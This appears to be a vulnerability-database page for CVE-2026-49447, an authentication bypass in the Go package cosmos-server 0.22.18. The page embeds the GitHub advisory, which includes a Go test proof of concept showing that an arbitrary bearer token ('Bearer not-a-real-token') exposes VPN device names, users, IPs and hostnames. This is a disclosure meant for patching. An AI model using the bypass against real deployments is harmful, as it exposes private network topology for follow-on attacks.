CVE-2026-49447: Github.com/azukaar/cosmos server Cosmos-Server's Constellation Public-devices Endpoint Accepts Vulnerability
MODERATECVE-2026-49447 is a MODERATE (CVSS 5.3) cosmos-server's constellation public-devices endpoint accepts vulnerability (CWE-287: Improper Authentication) affecting Github.com/azukaar/cosmos server libraries in the Go ecosystem. The issue involves cosmos-server's constellation public-devices endpoint accepts arbitrary bearer tokens. Remediation is available by upgrading affected packages to version 0.22.19.
CVE-2026-49447 at a Glance
Security Impact
CVSS: 5.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N).
How to Fix CVE-2026-49447
To remediate this vulnerability, upgrade all affected Github.com/azukaar/cosmos server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/azukaar/cosmos-server to 0.22.19
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/azukaar/cosmos-server
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-49447, inspect your project dependencies for Github.com/azukaar/cosmos server:
inspect dependencies for github.com/azukaar/cosmos-server
Analyze the terminal output to locate any version of Github.com/azukaar/cosmos server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.22.19), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In Github.com/azukaar/cosmos server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-49447 Affected Github.com/azukaar/cosmos server Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/azukaar/cosmos-server
|
Go |
≥ 0.22.18
< 0.22.19
All 1 versions
0.22.18
|
0.22.19
|
References
Frequently Asked Questions
What is CVE-2026-49447?
Which Github.com/azukaar/cosmos server versions are affected?
What version fixes CVE-2026-49447?
Is github.com/azukaar/cosmos-server affected?
What is the CVSS score of CVE-2026-49447?
What CWE is associated with CVE-2026-49447?
How can I check Go dependencies for CVE-2026-49447?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-5fqm-cc34-fcf5",
"modified" : "2026-07-28T20:32:34Z",
"published" : "2026-07-28T20:32:34Z",
"aliases" : [ "CVE-2026-49447" ],
"summary" : "Cosmos-Server's constellation public-devices endpoint accepts arbitrary bearer tokens",
"details" : "### Summary\n`GET /cosmos/api/constellation/public-devices` discloses Constellation device metadata to a requester that supplies any non-empty `Authorization` header. The handler strips the string `Bearer ` from the header but never validates the resulting token and never uses it in the database query.\n\nThis was confirmed locally by routing a request through the real `tokenMiddleware` with `Authorization: Bearer not-a-real-token`. The request returned public Constellation device metadata from a disposable fixture. A missing-header negative control returned `401 Unauthorized`, proving the bypass is specifically the acceptance of arbitrary bearer values.\n\n### Details\nSource-to-sink path:\n\n- `src/httpServer.go:690` registers `/api/constellation/public-devices` on the authenticated admin API router.\n- `src/httpServer.go:815-817` applies `SecureAPI(..., public=false, ...)`, which runs `tokenMiddleware`.\n- `src/httpServer.go:231-237` only treats `Authorization: Bearer cosmos_...` as a Cosmos API token for validation. Other bearer strings are not validated by the middleware and fall through to the handler.\n- `src/constellation/api_devices_public.go:42-47` checks only that the `Authorization` header is present.\n- `src/constellation/api_devices_public.go:49-50` strips `Bearer ` but does not verify the token or compare it with a device/API key.\n- `src/constellation/api_devices_public.go:63-67` queries all non-blocked and non-invisible devices without including the stripped auth value in the filter.\n- `src/constellation/api_devices_public.go:84-99` returns device names, user nicknames, cleaned VPN/internal IPs, role flags, public hostname, and port.\n\nThe handler does not call `utils.CheckPermissions`, `utils.CheckPermissionsOrSelf`, the Cosmos API-token permission check, or any Constellation-token validation before returning the data.\n\nDefault/common exposure evidence:\n\n- The route is registered in the standard server setup (`src/httpServer.go:690`).\n- Constellation is a documented product feature described as the VPN used to securely access applications remotely (`readme.md:49`).\n- The default config ships Constellation disabled (`src/utils/utils.go:104-105`), so impact requires a deployment that enables the Constellation/VPN feature and has at least one non-blocked, non-invisible device.\n- The root package identifies the product as `cosmos-server` version `0.22.18` (`package.json:1-2`).\n- The Go module is `github.com/azukaar/cosmos-server` (`go.mod:0`).\n\nFalse-positive screen:\n\n- The PoC wraps the handler in the same `tokenMiddleware` used by `SecureAPI`, so it tests the deployed middleware behavior rather than directly calling the handler alone.\n- A request with no `Authorization` header returns `401 Unauthorized`.\n- A request with `Authorization: Bearer not-a-real-token` returns `200 OK` and device metadata.\n- The fixture data is stored in a disposable embedded database under `t.TempDir()` and no external services are contacted.\n- The route is not protected by handler-level `CheckPermissions`, and the arbitrary bearer value is not used by the database query.\n\nCandidate score: 13/18. Reachability 1, attacker control 2, privilege required 2, sink impact 1, mitigation weakness 2, default exposure 1, safe PoC feasibility 2, static certainty 2, false-positive resistance 2. The lower score reflects that Constellation is disabled in the shipped default config, but it is a documented/common product feature.\n\nExploitability gate: confirmed for deployments with Constellation enabled and populated with devices. The reachable source, arbitrary-token bypass, data-disclosure impact, safe local reproduction, and affected-version evidence are present. Default exposure is feature-dependent rather than enabled in a fresh default config.\n\n### PoC\nClean-checkout maintainer recipe:\n\n1. Check out commit `88de73dcca50172393a75de0e4dc3ab93622825c` or version `0.22.18`.\n2. Create `src/zz_security_poc_test.go` with the following test.\n3. Run `go test ./src -run TestAuditPublicDevicesAllowsArbitraryBearer -count=1 -v`.\n4. Delete `src/zz_security_poc_test.go` after confirming.\n\n```go\npackage main\n\nimport (\n\t\"encoding/json\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n\n\t\"github.com/azukaar/cosmos-server/src/constellation\"\n\t\"github.com/azukaar/cosmos-server/src/utils\"\n)\n\nfunc TestAuditPublicDevicesAllowsArbitraryBearer(t *testing.T) {\n\toldConfig := utils.MainConfig\n\toldBaseConfig := utils.BaseMainConfig\n\toldPush := utils.PushShieldMetrics\n\toldConfigFolder := utils.CONFIGFOLDER\n\tdefer func() {\n\t\tutils.MainConfig = oldConfig\n\t\tutils.BaseMainConfig = oldBaseConfig\n\t\tutils.PushShieldMetrics = oldPush\n\t\tutils.CONFIGFOLDER = oldConfigFolder\n\t\tutils.CloseEmbeddedDB()\n\t}()\n\n\tutils.PushShieldMetrics = func(string) {}\n\tutils.MainConfig = utils.DefaultConfig\n\tutils.MainConfig.NewInstall = false\n\tutils.MainConfig.HTTPConfig.Hostname = \"example.test\"\n\tutils.BaseMainConfig = utils.MainConfig\n\ttmp := t.TempDir()\n\tutils.CONFIGFOLDER = tmp + \"/\"\n\tutils.CloseEmbeddedDB()\n\tc, closeDb, err := utils.GetEmbeddedCollection(utils.GetRootAppId(), \"devices\")\n\tdefer closeDb()\n\tif err != nil {\n\t\tt.Fatalf(\"embedded collection: %v\", err)\n\t}\n\t_, err = c.InsertOne(nil, utils.ConstellationDevice{\n\t\tNickname: \"victim-user\",\n\t\tDeviceName: \"private-node\",\n\t\tIP: \"10.8.0.42/24\",\n\t\tIsLighthouse: true,\n\t\tPublicHostname: \"vpn.example.test\",\n\t\tPort: \"4242\",\n\t\tBlocked: false,\n\t\tInvisible: false,\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"insert device fixture: %v\", err)\n\t}\n\n\thandler := tokenMiddleware(http.HandlerFunc(constellation.DevicePublicList))\n\tnoAuthReq := httptest.NewRequest(http.MethodGet, \"/cosmos/api/constellation/public-devices\", nil)\n\tnoAuthRec := httptest.NewRecorder()\n\thandler.ServeHTTP(noAuthRec, noAuthReq)\n\tif noAuthRec.Code != http.StatusUnauthorized {\n\t\tt.Fatalf(\"missing Authorization status = %d body = %s\", noAuthRec.Code, noAuthRec.Body.String())\n\t}\n\n\treq := httptest.NewRequest(http.MethodGet, \"/cosmos/api/constellation/public-devices\", nil)\n\treq.Header.Set(\"Authorization\", \"Bearer not-a-real-token\")\n\trec := httptest.NewRecorder()\n\thandler.ServeHTTP(rec, req)\n\tif rec.Code != http.StatusOK {\n\t\tt.Fatalf(\"DevicePublicList status = %d body = %s\", rec.Code, rec.Body.String())\n\t}\n\n\tvar body struct {\n\t\tStatus string `json:\"status\"`\n\t\tData []struct {\n\t\t\tName string `json:\"name\"`\n\t\t\tUser string `json:\"user\"`\n\t\t\tIP string `json:\"ip\"`\n\t\t\tPublicHostname string `json:\"publicHostname\"`\n\t\t} `json:\"data\"`\n\t}\n\tif err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {\n\t\tt.Fatalf(\"response JSON: %v\", err)\n\t}\n\tif body.Status != \"OK\" || len(body.Data) != 1 {\n\t\tt.Fatalf(\"unexpected response body: %s\", rec.Body.String())\n\t}\n\tif body.Data[0].Name != \"private-node\" || body.Data[0].User != \"victim-user\" || body.Data[0].IP != \"10.8.0.42\" || body.Data[0].PublicHostname != \"vpn.example.test\" {\n\t\tt.Fatalf(\"unexpected device disclosure: %+v\", body.Data[0])\n\t}\n}\n```\n\nObserved output in this environment:\n\n```text\n=== RUN TestAuditPublicDevicesAllowsArbitraryBearer\n2026/05/24 15:18:09 NOTICE: [INFO] DevicePublicList: Fetching devices with API key\n--- PASS: TestAuditPublicDevicesAllowsArbitraryBearer (0.00s)\nPASS\nok \tgithub.com/azukaar/cosmos-server/src\t0.057s\n```\n\nControl/negative case: the same test first sends the request without `Authorization` and expects `401 Unauthorized`. The subsequent `Authorization: Bearer not-a-real-token` request succeeds and returns the fixture, proving the bypass is not an intentionally unauthenticated endpoint but an unvalidated-header check.\n\n### Impact\nAn unauthenticated network attacker can enumerate Constellation device metadata from deployments that enable the Constellation/VPN feature and have visible devices. The response exposes device names, user nicknames, internal/VPN IP addresses, node roles such as lighthouse/relay/exit-node flags, public hostnames, and ports. This information can reveal private network topology and user/device inventory and can support targeted follow-on attacks against the VPN or exposed nodes.\n\nThe issue does not require a valid Cosmos session, valid Cosmos API token, valid Constellation token, or user interaction; any arbitrary non-empty bearer string is accepted.\n\n### Suggested remediation\nReplace the header-presence check with real authorization. Depending on the intended trust model, the handler should require one of:\n\n- a valid Cosmos user/API token with an appropriate permission such as `PERM_RESOURCES_READ` or `PERM_CONFIGURATION_READ`, or\n- a dedicated Constellation device/API token that is cryptographically verified and used to scope the query to devices the caller is allowed to see.\n\nAlso add regression tests for:\n\n- missing `Authorization` header returns 401,\n- malformed/arbitrary bearer token returns 401,\n- invalid `cosmos_` API token returns 401 through middleware,\n- valid but underprivileged token is rejected,\n- valid authorized token returns only permitted devices.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R&D)\n- Nguyen Huy Vu Dung from VinSOC Labs (AppSec)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/azukaar/cosmos-server"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.22.18"
}, {
"fixed" : "0.22.19"
} ]
} ],
"versions" : [ "0.22.18" ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/azukaar/Cosmos-Server/security/advisories/GHSA-5fqm-cc34-fcf5"
}, {
"type" : "WEB",
"url" : "https://github.com/azukaar/Cosmos-Server/commit/59c561d686c8f9843b3e092b50f6346c481d8bbf"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/azukaar/Cosmos-Server"
}, {
"type" : "WEB",
"url" : "https://github.com/azukaar/Cosmos-Server/releases/tag/v0.22.19"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-287" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-28T20:32:34Z",
"nvd_published_at" : null
}
}